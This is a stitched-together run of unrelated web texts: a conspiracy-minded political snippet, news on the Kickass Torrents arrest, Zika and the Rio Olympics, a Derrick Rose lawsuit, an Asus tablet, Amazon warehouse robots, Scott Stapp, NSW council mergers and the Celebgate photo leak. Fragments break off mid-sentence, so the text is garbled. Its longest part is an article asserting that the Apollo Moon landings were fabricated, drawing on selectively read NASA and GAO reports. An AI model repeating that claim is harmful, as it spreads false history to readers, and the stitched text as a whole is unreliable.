And yet the drug epidemic continues unabated. That the machine would seem to not be tackling that problem at all, and is even freely spending resources on other endeavors worthless to any LE objective would seem to indicate that the above report on Flynn being assigned to tackle an organized crime/CIA nexus would not be impossible. These are weird times, and I am not sure any of us has the cognitive flexibility to grasp out of hand what is really going on anymore. Things are just too outside our reality bias.
Clearly there are elements in intelligence who seem to have it out for President Trump. It is probably not a bad time to devote a moment or two here and there to pray for him and his safety.
Tell others about r/K Theory, because we are all afflicted with too much reality bias these daysScreenshot by David Priest/CNET
U.S. authorities announced that they have arrested Artem Vaulin, the alleged owner of the most-visited file sharing site online: Kickass Torrents (or KAT). A federal court in Chicago also ordered that a bank account and seven domain names believed to be associated with KAT be seized.
According to the criminal complaint filed with the Chicago court, Kickass Torrents is estimated to be the 69th most commonly visited website on the internet, and has an estimated net worth of over $54 million. Between all of the movies, TV shows, music, video games, and other media it hosts for download, Assistant Attorney General Leslie R. Caldwell says KAT is "responsible for unlawfully distributing well over $1 billion of copyrighted materials."
Kickass Torrents domain names have been blocked before in various countries across the globe, and its main site appears to still remain functional. But if Poland cooperates with the U.S. in the extradition process, Vaulin will be tried in American courts on counts of conspiracy to commit criminal copyright infringement, conspiracy to commit money laundering, and two counts of criminal copyright infringement.
In a statement Wednesday, Assistant Attorney General Caldwell said, "[Vaulin's] arrest in Poland, however, demonstrates again that cybercriminals can run, but they cannot hide from justice."Ticket revenues for 2016 Rio Olympics events have dropped significantly since an outbreak of Zika virus in Brazil gained international attention.
From October until Jan. 20, 2016, ticket revenues for Olympics-related events were increasing an average of 8.85% each week, according to Ticketbis. In the second half of January, however, revenue dropped 56.4%, and continued to drop through at least the first half of February.
Optimistic analysts had predicted Olympics ticket revenues would return to normal — on a steady incline — by February.
"The public’s reaction to the travel alerts were directly reflected in the ticketing platforms revenue for the Olympic Games," a Ticketbis spokesperson said.
Searches for vacation rental listings on Tripping.com, however, show a slightly more optimistic picture. In the first week of February, searches for Brazil were up 49.8% compared to the week before, and up 12% from two weeks prior.
Brazilian officials have been optimistic about attendance at the summer games: The country has invested heavily in promoting tourism related to the Olympics, and throughout the summer.
Ironically, avoiding Brazil will not prevent many people from contracting Zika virus. The World Health Organization estimates 3 to 4 million people in the Americas will contract the virus.
The list of countries and territories with local Zika transmission — meaning mosquitoes in the region are spreading the virus — now includes Ecuador, El Salvador, Dominican Republic, Bolivia, Guatemala, Jamaica, Brazil, Costa Rica, American Samoa, Curaçao, Guadeloupe, Bonaire, Barbados, French Guiana, Mexico, Marshall Islands, Aruba, Cape Verde, Saint Vincent and the Grenadines, Trinidad and Tobago, Martinique, New Caledonia, U.S. Virgin Islands, Sint Maarten, Saint Martin, Tonga, Suriname, Samoa, Venezuela, Guyana, Haiti, Nicaragua, Panama, Honduras, Puerto Rico, Colombia and Paraguay.
The exception, announced Friday, is for elevations above 2,000 meters (6,500 feet). At and above that altitude, the CDC says, the risk of mosquito transmission is much lower.
However, as the CDC's illustration of Nicaragua — as just one example — shows, the elevation warning is not of much help to an overwhelming majority of people in the country.
Can you find the dots where risk of Zika transmission is lower? Image: Centers for Disease Control
While the illness associated with Zika is typically mild, and symptomatic in only about 20% of those who catch it, there is mounting evidence that the virus can cause more serious complications in some patients. The CDC has warned pregnant women to postpone travel to the countries listed above, as Zika could be causing increased cases of microcephaly, a condition which limits brain development in fetuses. Zika could also be causing Guillain-Barré syndrome, a condition in which the immune system attacks the nerves causing paralysis.
The Rio Olympics are scheduled for Aug. 5-21, 2016.
Correction: The story has been updated to reflect searches were for vacation rental listings on Tripping.com, not air travel.
Have something to add to this story? Share it in the comments.LOS ANGELES -- The ex-girlfriend who lost her lawsuit accusing NBA star Derrick Rose and two friends of rape has appealed.
The appeal filed Thursday with the 9th U.S. Circuit Court of Appeals says pertinent evidence was excluded and jury instructions were tainted.
Jurors cleared the Knicks player and his friends last month in Los Angeles federal court after the men testified that the woman willingly had sex with them.
The woman was seeking $21.5 million in the suit that claimed the men gang raped her while she was incapacitated from booze or drugs and unable to consent to sex.
Jurors said they found the woman's account hard to believe and didn't think there was enough evidence to support her claims.
Rose is seeking $70,000 in expenses from the woman.Asus' latest Transformer Pad 300 will start shipping in the U.S. on April 22, the company said Friday. The tablet is being pitched as a laptop replacement with 4G LTE network capabilities.
The new Transformer Pad will have a 10.1-inch screen and use a quad-core Tegra 3 processor from Nvidia. It will run Google's latest Android 4.0 operating system, code-named Ice Cream Sandwich.
An Asus spokeswoman said prices will be revealed April 22. However, retailer BJs is taking preorders for a $399 model with 32GB of storage and 1GB of memory.
Asus has wiped out the "Eee" moniker from its tablets, a brand that debuted in 2007 with its pioneering Eee PC 700 netbook. The new tablet succeeds the Eee Pad Transformer Prime, which was the first tablet to ship with a quad-core processor. The new tablet brings some of the same features to users but at a lower starting price, Asus said in an email.
The tablet offers 10 hours of battery life, which can be extended to 15 hours with an additional battery in an optional keyboard dock. The dock makes the tablet a fully functional laptop, and Android-specific buttons provide quick access to certain functions.
The tablet display shows images at a resolution of 1280 by 800 pixels. The mobile connectivity options with the tablet include Wi-Fi, 3G and 4G LTE.
The tablet has a 1.2-megapixel front camera and an 8-megapixel rear camera. It also has a micro-HDMI port so the tablet can be connected to TVs, and one microSD card reader for expanded storage.
The Transformer Pad 300 was introduced at the Mobile World Congress show in late February. The company also introduced the Transformer Pad Infinity tablet at the show, which had similar specifications to the Pad 300, but a higher-resolution, 1920-by-1200-pixel, 10.1-inch display.
A growing number of Android 4.0 devices are becoming available. Samsung's Galaxy Tab 2 7.0 will be available on April 22, with a 10.1-inch model shipping on May 13. Many Android 4.0 tablets under $250 are also available.
Agam Shah covers PCs, tablets, servers, chips and semiconductors for IDG News Service. Follow Agam on Twitter at @agamsh. Agam's e-mail address is agam_shah@idg.comApollo Investigation
The Apollo Myth: A Hindrance to Human Space Exploration *
The Apollo story is increasingly revealing itself to be pure fabrication
by Phil Kouts PhD
*2nd edition revised and extended 1st version available here
The Orion program’s standing review board raised concerns that
the program’s schedule is missing activities which could affect
the program’s ability to accurately identify what is driving the schedule.
Government Accountability Office, Assessments of Major
NASA Projects, Report GAO-16-309SP, March 2016
NASA has quietly signed a contract with Boeing for up to five
additional Soyuz seats...on flights in the fall of 2017 and spring of 2018,
with the option for three seats on Soyuz flights in 2019.
Jeff Foust, Spacenews.com, February 27, 2017
Overview
Unable to'return' humans to the Moon, NASA is now promoting an even more ambitious plan for going to Mars, but only in the remote future. In the meantime, the agency still has to close the gaps in its knowledge related to human space exploration (HSE) beyond low-Earth orbit (LEO). The author has completed a series of articles1 based on official NASA-published data and reached conclusions from NASA’s technical statements. Virtually all technical aspects of the Apollo record do not withstand the scrutiny of pragmatic reviews. ‘Any such mission is a complex chain of essential operations, all of which must be accomplished safely. It is sufficient for one or two links in the chain to be unreliable to make a Moon return deadly dangerous, and the mission becomes absolutely impossible when just one link is incomplete. Such links were actually acknowledged by NASA.’ (MB1)1 The fact is that NASA is still totally incapable of safely returning crews from deep space, and consequently the record of Apollo falls apart. The Apollo myth has been revealed through NASA sources as follows: An attempt to develop a heavy-lift lunar rocket within five years ended in recognition of serious vibrational problems in the first stage of a rocket similar to the Saturn V. Subsequently, the Ares series of rockets has been abandoned;
It is no surprise that the F-1 engine of the Saturn V's first stage is not even discussed in NASA's current research documents;
An upgraded version of the J-2 engine from the Saturn V's second stage was proposed ten years ago for the new heavy-lift rocket, but NASA now recognises that it has to be a new development and so was put on hold. It's not clear when an 'upgraded' engine will be ready for the Space Launch System configuration;
NASA is still incapable of developing a heavy-lift rocket for payloads of 70 tons – let alone repeating the acclaimed capability of the Saturn V;
NASA now classifies an ascent from the lunar surface as an escape from ‘a deep gravity well’ and its plans to land on the Moon have been deferred to the point of being virtually abandoned. This is not surprising since the Apollo lunar ascent module was demonstrably incapable of safely firing from the descent platform due to the absence of routes for gases to escape;
The Apollo CM was bi-stable i.e. there was a danger of its turning upside down and burning up on re-entry into the Earth’s atmosphere;
NASA still doesn’t have a reliable thermal shield for command modules (CM) to safely return crews from deep space;
The ‘direct’ profile of re-entry, as claimed in the Apollo record, was beyond any practicality and, if implemented, most likely would have been disastrous for the module during re-entry;
If a CM had survived due to sheer good luck during re-entry, any surviving astronauts would be in a critical condition due to the real risk of severe gravity overloads following an extended period of microgravity, and most likely after splashdown would not be in a happy state;
The lack of critical knowledge regarding solar and cosmic radiation effects on humans beyond LEO makes a viable method of radiation protection highly problematic. When the Constellation Program (CxP), which included a lunar landing within 15 years, was abandoned in 2010, no plans for a landing on the Moon were made for the foreseeable future. ‘After the CxP was terminated, it became clear that there are profound gaps in the Apollo record. Now it seems that NASA must design and develop the following elements of the program from scratch: a heavy-lift rocket, a lunar lander, plus the equipment for safe re-entry into the Earth's atmosphere.’ (MB2) The Apollo myth is now in its final stages of existence and should be dismissed as a serious hindrance to the progress of HSE. However, ‘NASA operates within a catch-22 paradigm: the agency cannot move forward without recognition of its true experiences accumulated in the area of human space exploration, primarily the Apollo legacy, whatever that may be, while on the other hand it cannot reveal the truth about Apollo for various political reasons.’ (MB3) Although the roots of Apollo were political, this article will examine the technical aspects and demonstrate how any continued adherence to this myth is plaguing current development of HSE. A lunar base is as much an aspirational idea today as a Moon landing was some 50 years ago. Yet NASA, unable to develop a viable lunar landing and return program, decided to divert the idea of a Moon base away from public attention and instead promote Mars as a viable goal.
Further Apollo Shortcomings are in Appendix 1. Slipping Schedules It is well known that NASA currently plans two future lunar explorations with Orion: Exploration Mission-1 (EM-1) and Exploration Mission-2 (EM-2) launched atop of an SLS (Space Launch System) launch vehicle. The first, the unmanned EM-1, is planned to fly beyond the Moon, test a high-speed re-entry and the performance of the thermal protection system prior to a crewed flight. The second, EM-2 with an on-board crew, will 'demonstrate the baseline Orion vehicle capability' (GAO on Orion, 2016 p.5), i.e. hopes to repeat the alleged success of Apollo 8 back in 1968. However, even this seemingly moderate set of goals has been simplified further (see ASAP criticism below). Yet the US government has declared that NASA 'is in the midst of developing the first crew capsule planned to be capable of transporting humans to multiple destinations beyond the moon’… and admits that attempts so far 'have ultimately been unsuccessful'. (GAO on Orion, 2016, p.1) It is incredible that GAO draws a line under NASA's efforts of two decades – counting from the late 1990s – by summarising these efforts as 'unsuccessful' while admitting that the development is still in its middle phase. How long was this development expected to last? What conclusions can be made from this admission? Firstly, some further slippage of the development schedules is guaranteed since it is now recognised that ‘NASA has not established specific launch dates for either EM-1 or EM-2. The agency plans to establish a launch date for EM-2 after the EM-1 mission is complete.’ (GAO on Orion, 2016, p.5) This last statement about EM-2 launch dates is a disgrace compared to what was promised in 2013, when the EM-2 launch was scheduled for 2021 (see MB1); and then by 2015 it was re-pencilled to 2023 (see MB2); by 2016 it is admitted that this significant time slippage will have a ‘cascading effect of cross-program problems’. (GAO on HSE, 2016, p.19) Secondly, most likely there will be another redrafting of strategic goals with references to shortage of funding and technical problems with acquisition. Conveniently, this would lead to scrambling of the on-going plans and the drawing up another grand vision for the next 10 to 20 years. 'The Orion program is currently redesigning its heatshield based on the results of the December 2014 exploration flight test. NASA determined that not all aspects of the monolithic design used in this flight test will meet the more stringent requirements for EM-1 and EM-2, when the capsule will be exposed to greater temperature variance and longer durations. The program has decided to change from a monolithic design to a block heatshield design for EM-1.' (GAO on Orion, 2016 p.15) Basically a financial publication, this GAO document nevertheless goes deeply into specific technical details revealing the embarrassing picture. On possible solutions with the new heatshield, GAO contemplates: 'This design will adhere approximately 300 blocks to the support structure and apply filler material to the gaps between blocks, similar to the design used on the Space Shuttle.' (GAO on Orion, 2016 p.15) One can see that NASA is experimenting with the critical hardware, referring to ideas which were implemented in less severe conditions on the Space Shuttle while not making any reference to the previous Apollo heatshield. GAO continues: ‘However, this block design also carries some risk because of uncertainty about the blocks’ ability to adhere to the support structure, as well as performance of the gap filler material.' And: 'The program continued testing of the monolithic design as another form of risk mitigation.' It is obvious that NASA, having no actual previous experience with a heatshield required for deep space voyages, is unsure about the outcomes of these experiments with the shield and is making ad-hoc decisions. The 2014 test was not even undertaken at the same speeds as would be experienced on a re-entry from either the Moon or elsewhere further out. One of the most realistic options recently proposed for the first crewed flight profile is that ‘Orion would fly on a “free return” trajectory around the moon without going into orbit and without requiring another engine burn. The mission would end with a return to Earth eight days after launch’. (First Crewed, 2016) The schedule for EM-2 is being ‘downsized' which again indicates the lack of experience of flying beyond LEO. Fortunately, this simplified plan seems to be safer and more reliable, following the strong criticism from the Aerospace Safety Advisory Panel. (ASAP, 2017, p.13) This indicates that NASA's plans with EM-1 and EM-2 are being shaped into two necessary stages which were missing from the Apollo preparatory schedules before the hurried Apollo-8 crewed flight. NASA's difficulties beyond LEO may perhaps be partially due to the fact that for a decade three, if not four, R&D groups (including those from Boeing, SpaceX, and Lockheed Martin with their Orion) were involved in work on a capsule for transporting crews to the ISS defining the scope of their work as innovation, i.e. improvement, when it should be regarded as a new development. This is one of the fundamental problems originating from the Apollo myth: an assumption of the existing experience while there is no such actual experience. Therefore, despite all current efforts – including by NASA's contractors – these developments remain outperformed by the well-proven Soyuz technology: ‘[T]he United States has lacked the domestic capability to transport crew to and from the International Space Station (ISS or Station), and instead has relied on the Russian Federal Space Agency (Roscosmos). Between 2006 and 2018, NASA will pay Roscosmos approximately $3.4 billion to ferry 64 NASA and partner astronauts to and from the ISS in its Soyuz spacecraft’. (Inspector General, 2016, p.1) At prices ranging now up to $80 million for each round trip, it is not implausible to conclude that the Russians are satisfied to be quietly supportive of the Apollo myth.
The most recent initiatives from NASA, especially from SpaceX, to fly crews sooner to the Moon (EM-1 Crewed, 2017; SpaceX, 2017) and to take tourists straight to the Moon is an irresponsible game, designed perhaps to keep the HSE dream alive, made up of totally unrealistic promises. SpaceX has contemplated deploying a heatshield based on the technology used for a successful return of unmanned craft from deep space in 2006. However, a sample capsule returned at the 34g deceleration in a ballistic re-entry which lasted just over two minutes (Stardust, 2007, p.280), is not exactly proof that a larger heatshield would work under human-rated conditions. (Stardust, 2013). As for NASA, any plans to fly crews sooner to the Moon or elsewhere have already been either postponed as was expected (Phil Kouts, 2017) or remain in limbo – to be quietly suspended once the media promotion has achieved its effect. Indeed the agency is already postponing the unmanned flight to 2019. (NASA HQ, 2017)
‘NASA is continuing to find new critical aspects for further R&D around Orion, predominantly not because of tighter requirements, e.g. safety, but simply because the agency has at last started to receive genuine information on the real requirements for flights beyond LEO.’ (emphasis added and see MB3)
Logistics and Aerodynamics of Re-Entry Incredibly, these critical aspects that require detailed development are neither covered in NASA’s current plans nor are they mentioned in the relevant GAO reports. Considering the (assumed) success of Apollo, at first glance the EM-1 plan to send an unmanned craft to make a lunar fly-by (in 2018 now 2019) is not a complicated task. In reality, EM-1 is the unmanned flight that was missing from the Apollo preparation program. NASA's trials in LEO were unexpectedly followed by the crewed Apollo 8 mission which allegedly went straight to the Moon, and after orbiting the Moon managed to safely return to Earth. (MB2) When tested in December 2014 the thermal shield – claimed to be an improved version of the Apollo shield – was admitted to be insufficient for deep space journeys and re-entry. So what then can be done to achieve success? Even before attempts to go as far as the Moon, interim test flights to ascertain re-entry from deep space at the escape velocity (with certification of the capsule for human rating) need to be undertaken. It could be a series of flights similar to those of December 2014 but with a higher elliptical orbit at the re-entry speed equal to 11.2 km per second with regard to the Earth's gravitational body. For a proposed re-entry profile, the parameters could be equivalent to those of planned returns from the Moon with the actual re-entry speed against the atmospheric Entry Interface (EI) area of down to 10.8 km per second taking into account the rotation of the planet. It is worthwhile remembering that the Apollo re-entry technique is acknowledged by NASA specialists as direct re-entry i.e. a returning spacecraft enters the Earth's atmosphere only once and then completes all of its descending manoeuvres at typical altitudes of below 100 km. “The Apollo program used a direct entry approach for returning crew from the moon. A skip entry flight has never been flown in a manned space flight program…" (NASA Johnson, 2011, p.5 – also quoted in MB2). During the direct entry method supposedly used in the Apollo missions, the craft didn't leave the atmosphere, so dynamic pressure and related heat load would have been sustained, and as a result this would have significantly augmented demands on the thermal shield. Looking at the never-ending attempts to embellish the Apollo legend, it is worth noting that Apollo advocates have recently started interpreting Apollo re-entry to have been a true skip re-entry (see also comments from Chris Kraft in MB3), and discuss the criticality of the entry angle: ‘They had to skip the craft in and out of the atmosphere to slow it down… Too shallow an angle and the craft would bounce off the atmosphere into space, beyond all hope of rescue.’ (Earthrise, 2008, p.27) The above statement is a major mistake by the Apollo designers who took the decision not to adopt the skip re-entry option. The reality is that after losing some energy during the initial breaking phase through the atmosphere a returning capsule wouldn't escape Earth’s gravity, so it wouldn’t fly far off into space; instead, it would continue travelling along the Earth surface. But the Russians didn't make this mistake, and perfected their skip re-entry capabilities with their successful unmanned craft in 1968. (See MB2) Chris Kraft, NASA Flight Director during the Apollo period, has made a number of totally fabricated claims about Apollo'skip' re-entry since he published his book about Apollo in 2001. By 2009 Kraft’s distorted narration about Apollo re-entry evolved into this bold statement: "Because the velocity is so high, if you tried to come in directly, the heat shield requirements would be too great. So what we did was get them into the atmosphere, skip it out to kill off some of the velocity, and then bring it back in again. That made the total heat pulse on the heat shield of the spacecraft considerably lower." (Popular Mech., 2009 – see more in MB3) Obviously, over the years following Apollo he has realised the importance of skip re-entry, so he has introduced this statement into his narration, embellishing the incredible Apollo story which, at every turn, appears to be too good to be true. Now NASA has to adopt the skip re-entry concept, e.g. to realise the one proposed in the Architecture Study of 2005 (Fig.1a). In Fig.1b below, the proposed theoretical skip re-entry profile is compared to direct re-entry profiles stated in the Apollo mission reports – from the moment of passing the Entry Interface (EI) to the point of parachute deployment at altitudes of 6 to 7 km. Then, in the Architecture Study the target range for the direct-entry mission is proposed as approx. 2600 km (shown in Fig.1d) and, further 'the 1969 version of Apollo guidance is used for modeling the direct-entry flight' (Arch. Study, 2005, p.330), instead of using the entry profiles as stated in the mission reports. It is likely that at some stage NASA will admit that even in this theoretical skip re-entry scenario (Arch. Study, 2005), the initial entry phase is not optimal, due to the entry flight-path angle (-6.0 deg) being too close to that typically claimed for Apollo (-6.65 deg). More feasible entry profiles were later considered in technical papers from the academic and military research institutions quoted in MB2.
Fig. 1a. The skip re-entry option proposed in 2005 with the downrange of 13,590 km and the total time of 37 minutes from entering the EI at an altitude of 122 km to landing near Cape Canaveral. (Arch. Study, Fig. 5-65, p.324) The entry speed would be 11.07 km/sec at EI.
Fig.1b. The geodetic altitude vs time: a comparison of the skip re-entry profile shown in Fig.1a (equivalent to Fig. 5-74 in Arch. Study p.329) to the profiles of direct entry stated in mission reports for Apollo 8 (Fig. 5-6(b)) and Apollo 10 (Fig. 6-7(b)); the Apollo 10 path is slightly shifted to show all data available from the report (reconstructed by the author).click to enlarge
Fig.1c. Skip re-entry vs direct entry: a comparison of the profiles from Fig.1b in the initial entry phase. The descent of Apollo 10 was declared as complete in less than 8 minutes. Note the shallower flight-path angle for the skip re-entry and a smooth departure back towards EI.click to enlarge
Fig.1d. The geodetic altitude vs the target range: a modelling of the skip re-entry profile for Fig.1a, equivalent to Fig. 5-67 in Arch. Study, 2005, p.325 (reconstructed by the author). The Apollo claimed range is shown for comparison. click to enlarge In summary, a space agency doesn’t need to wait for a heavy rocket in order to develop a suitable re-entry technique, but it should continue unmanned trials similar to those of December 2014 using medium capacity launchers. Nothing of this kind is in the current NASA plans. Moreover, one of the latest authoritative documents from NASA proposes a set of key requirements to the Orion/SLS system including this one for re-entry: 'The Orion spacecraft shall provide a direct Earth entry capability with reentry velocities up to 11.05 kilometers per second. This requirement only allows for reentry directly from cislunar orbit.' (Inspector General, 2017, p.65) But there is no mention of skip re-entry despite the fact that it has been deemed to be mandatory since 2011 (see Ref. to Prelim. Report 2011 in MB2). What possible meaning is now implied under the term ‘direct’ when it has to be a skip re-entry? Why does NASA need to reinvent the terminology? Surely it is because the lack of progress in the agency's R&D reveals deficiencies in Apollo's technology heritage. Fig.1e. Re-entry and splashdown for the declared Apollo CM direct re-entry (approximate pointers in yellow) compared to the recently-proposed (Fig.1a) skip re-entry. Apollo co-ordinates from the relevant mission reports. If not Orion – How to Return? In the case of the non-viability of a CM’s re-entry, another option has to be considered. For example, the adoption of an interim stage on the way to the Moon and back set out by Reagan and Bush Sr. over 30 years ago. (90-Day Report, 1989) In anticipation of extreme difficulties to be overcome for a successful crewed capsule re-entry, an orbital station acting as a bridging platform was proposed (Fig. 2).
Fig. 2. This 1989 illustration conveys deep thinking and shows better visionary judgment than NASA's current plans
for returning from deep space. (90-Day Report, 1989) Indeed, bearing in mind that Orion’s capsule re-entry on a skip profile is yet to be tried, and that it is still not clear whether it will be reliable with the current heatshield, it makes sense to consider other options for a safe return to Earth. For example, a version of the deep space scheme with a meeting/transfer spacecraft instead of a space station is shown in Fig. 3. It is conceivable to arrange a rendezvous of the returning Orion capsule on a high elliptical orbit (HEO) with a spacecraft which is specifically designed to meet crews on their return from deep space. With reasonable protection of such a craft, the crews would have a chance of a staged, extended transition to a well-established re-entry routine from LEO. The meeting spacecraft would go into a HEO of say 60 to 80 thousand kilometres altitude and await a module (such as Orion) to rendezvous well beyond the outer Van Allen belt. Then they would align their routes, approach and perform docking. The crew with its valuable cargo (lunar rock samples and sensor system elements, such as a solar wind panel, etc.) would be transferred into the meeting craft. Orion would then be undocked and left for a free fall to Earth (or a controlled return without problems related to avoiding gravity overloads when it is crewed, etc.).
Fig. 3. A scheme (First Crewed, 2016) Orion is on the way back from deep space (red trajectory)
to approach and dock with a transfer spacecraft on HEO (green trajectory). click to enlarge The meeting spacecraft must be specifically designed for this function with adequate enhanced radiation protection, and it should have a sufficient reserve of fuel to accomplish the safe, smooth lowering from a HEO (with multiple orbits if necessary) to a relatively low quasi-circular one, equivalent to LEO. Then the following re-entry would be a technical routine which is well established, such as that made by Soyuz capsules. The radiation environment should be fully understood beforehand – within and around the Van Allen belts – ensuring the safety of the meeting spacecraft. The advantages would be twofold: 1) no need for any sophisticated thermal shielding (which is not available yet), and 2) even more importantly, for returning crews the conditions on board such a transfer vehicle would be far more favourable without the danger of abrupt gravity loads of 6-8g, or well above if the landing goes awry. The latter is critically important for a crew having spent eight or more days in a low gravity environment. It is also possible to consider an artificial gravity ‘room’ on the meeting spacecraft for preparing the crew for re-entry overloads – although that is probably much further down the line. Biomedical Aspects of Missions Beyond LEO It is evident to NASA's insiders that the acclaimed lunar trips of the late 1960s and early 70s are insufficient evidence of safe missions to deep space as they are now asking for reliable data sets in order to start analysing the dangers of such lunar missions. Neither a healthy Buzz Aldrin (who at the age of 86 is travelling to the South Pole, see Fig. 4), nor Jack Schmitt at 81, are considered to be convincing medical subjects as indicators that journeys to the Moon are harmless. Quite the contrary, NASA specialists are talking about major uncertainties and the potential dangers of deep space flights as if no experience whatsoever has been gained so far.
Fig. 4. Buzz Aldrin travelling to Antarctica Photo: NZ Herald, 2 December 2016
(note the Russian-built aircraft used to fly to Antarctica from Christchurch, New Zealand) With regard to radiation effects on health and the wellbeing of astronauts who are to travel beyond LEO, NASA says the agency is concerned with the lack of any reliable data which is still needed before sending astronauts into deep space. (MB1) It is worthwhile recalling that NASA's latest experimental result on radiation readings beyond LEO is that ‘the cumulative absorbed dose as measured by the ISS-TEPC during the EFT-1 mission was about three orders of magnitude, or 1000 times, less than the cumulative absorbed doses measured on the Orion MPCV.’ (Radiation Report, 2015, p.39)2,3 In other words, the absorbed radiation dose inside Orion was a thousand times greater than on board a spacecraft in LEO. NASA doesn't claim that traversing the Van Allen belts isn’t a problem. On the contrary, key radiation specialists within NASA are concerned that travelling beyond LEO would require passing through the radiation belts and therefore they need to learn more about the actual effects of belt's radiation. (See MB3) Today it is hard to believe that the medical aspects of exposure to the severe radiation hazards of deep space have not been researched sufficiently to draw any viable recommendations. In fact no meaningful radiation protection knowledge was developed to protect Apollo astronauts. As a consequence, current attempts to commence real research are facing highly challenging conditions. There is no evidence whatsoever that the health of those who allegedly flew to the Moon has even been researched. Notably, in the authoritative report on the health risks (Human Health, 2009) no such research is mentioned. There are just a few articles about issues like light flashes in the eyes of some Apollo astronauts or their nutritional preferences. The radiation data information derived from Apollo cannot be relied upon for present day plans and as long as it does not reflect the real environment of space – it is not only inadequate – it is fake. In the real world, and still assuming for a moment that the Apollo flights occurred as billed, the focus of a major study should be multifaceted with rigorous analysis covering all aspects of Apollo. A comparison of astronauts’ health with that of a control group on the ground is certainly warranted. In addition, along with this highly necessary work, a comparison of the physical condition of astronauts of Apollo flights 15 to 17, who were orbiting |
belt for another employee to package. By this time, the shelf-carrying robot is already returning the first shelf and retrieving another.
Since loading trucks also requires spatial judgment and can be unpredictable—space must be maximized here even more than on shelves—people take care of this too.
More robots mean more humans, for now
Ever since acquiring Boston-based robotics company Kiva Systems in March 2012—at a price tag of $775 million—Amazon has been ramping up its use of robots and is continuing to pour funds into automation research, both for robots and delivery drones.
In 2016 the company grew its robot workforce by 50 percent, from 30,000 to 45,000. Far from laying off 15,000 people, though, Amazon increased human employment by around 50 percent in the same period of time.
Even better, the company’s Q4 2016 earnings report included the announcement that it plans to create more than 100,000 new full-time, full-benefit jobs in the US over the next 18 months. New jobs will be based across the country and will include various types of experience, education, and skill levels.
So how tight is the link between robots and increased productivity? Would there be even more jobs if people were doing the robots’ work?
Well, picture an employee walking (or even running) around a massive warehouse, locating the right shelf, climbing a ladder to reach the item he’s looking for, grabbing it, climbing back down the ladder (carefully, of course), and walking back to his work station to package it for shipping. Now multiply the time that whole process took by the hundreds of thousands of packages shipped from Amazon warehouses each day.
Lots more time. Lots less speed. Fewer packages shipped. Higher costs. Lower earnings. No growth.
Though it may not last forever, right now Amazon’s robot-to-human balance is clearly in employees’ favor. Automation can take jobs away, but sometimes it can create them too.
Image Credit: Linkem Store/YouTubeLate last year, the rock world was stunned when a very distraught and haggard looking Scott Stapp started posting videos claiming he was penniless, as well as making 911 calls alleging that his family was involved in ISIS and that he was on a CIA mission to assassinate President Obama.
In a brand new interview with People magazine, the Creed singer says he's "lucky to be alive" and reveals that he was diagnosed with bipolar disorder and is getting his life back on track. Stapp admits that the meltdown was fueled by substance abuse, as well.
"I had a psychotic break that was brought on by alcohol and drug abuse," he tells People. "I was hallucinating. I drove around the United States for a month, following an angel that I saw on the hood of my car. In my delusional thinking, I thought my family was involved in ISIS, and that millions of dollars had been taken from me to support terrorism. All of it was nonsense. I was out of my mind."
We recently had Stapp's Creed bandmate Mark Tremonti in our studio and he broke the news to us that the singer was in recovery and on the mend, without going into too much detail (see our video interview with Tremonti below). And now Stapp confirms that news, saying he's been in an intensive dual diagnostic facility, where he received the diagnosis that he indeed is battling bipolar disorder.
His wife, Jaclyn, who had filed for divorce from Stapp in the midst of his breakdown, says she is relieved that Stapp is on the mend and that they now have a medical reason for his erratic behavior. "It made sense," says Jaclyn, who appears to have reconciled with her husband. "I definitely knew there was something going on for years, but I couldn't pinpoint what it was."
Stapp adds, "Jaclyn kept telling me, 'Embrace it. We love you.' It became a big sign of relief, because finally, we had an answer."
The Creed singer says he is in the midst of a 12-step program and is taking medication for his bipolar disorder. A more detailed article on Stapp's recovery will appear in the print edition of People magazine hitting newsstands on Friday (May 15).
Mark Tremonti on His Relationship With Scott Stapp + The Singer's Latest ConditionThere was no choice.
Win and you lose. Lose and you lose.
That's what Premier Gladys Berejiklian was facing in trying to bat on with her government's council amalgamation policy.
Sure it's embarrassing, sure it's damaging, but what else could she have done?
The situation was this.
All councils - merged or with mergers pending - have elections on September 9.
The High Court of Australia granted Woollahra Council leave to appeal its amalgamation with Waverley and Randwick after a protracted battle in the state courts.
A date was to be set for late this year or early next year.
If the government won the case, the premier would have been in a position of sacking democratically elected councils only months into their three-year terms.
That was completely unpalatable.
Not only would that have it given the merger protesters legitimate "anti-democracy" ammunition all the way until the March 2019 state election but put her own Liberal candidates for council in limbo.
If the government lost the High Court case, the policy would have been dead anyway and could have set a precedent to "unscramble" the councils that have already merged.
What was that about lose-lose?
Ms Berejikian had no choice but to scrap the policy, Chris O'Keefe writes. ()
Publicly Ms Berejiklian says the responsibility sits with her and her cabinet for the mess they are in. Privately, senior MPs are shooting all of this back home to former Premier Mike Baird.
It was he and his staff who pushed for a secret independent KPMG report to justify the whole process. That didn't have to happen.
A decision could have been made to go to what's called the Boundaries Commission and the protesting councils wouldn't have had the legal legs they now do.
There are some serious questions about how the former premier handled all of this or at least around the advice he was getting.
Regardless of the blame-shifting though, Ms Berejilian can't get away from one fact.
Her fingerprints smudged this policy when she significantly changed it in February.
A month into the top job she cancelled mergers in the courts for councils in regional NSW but not in Sydney. That's the moment when she made this her own.
Instead of taking a big Panadol for this giant headache and walking away from all legal action, she pushed on.
It was admirable at the time, but hindsight has proven this issue has the potential to keep on biting, no matter how many people say "the public don't care".
The greyhound racing ban, fire and emergency services levy, privatisation of regional hospitals, moving the entire Powerhouse Museum to Parramatta.
All back-flips, broken promises, U-Turns, or "policy shifts" in less than 12 months.
Greens MP and anti-amalgamation campaigner David Shoebridge said "every one of these wounds has been self-inflicted."
Opposition Leader Luke Foley also hit out at the government.
"If the government has to ditch so many of it's big decisions maybe they are a pretty poor government," he said.
I doubt the vast majority of voters have made that judgement yet but they won't have the stomach for much more of this.
© Nine Digital Pty Ltd 2019Inevitably, it has become known as Celebgate. Starting on 26 August, private, often nude, semi-nude or otherwise compromising photographs of upwards of 100 female celebrities, including actresses Jennifer Lawrence and Kirsten Dunst, began to leak on to the web.
The haul was clearly the result of a serious hacking attack on the Apple iCloud accounts of these people but to date the perpetrators have not been identified, although the FBI is on the case. In due course, people will go to jail for this because some of the stolen photographs were taken when the subjects were underage, which means that anyone circulating or downloading them was/is trafficking in child pornography.
Given that we live in a celebrity culture, the breach has, not surprisingly, generated a lot of heated media attention – about online security (or, more accurately, insecurity), narcissism, the anarchic ungovernability of cyberspace and, of course, the end of civilisation as we know it. What has been less discussed is what this little firestorm tells us about ourselves. In that context, the news is not good.
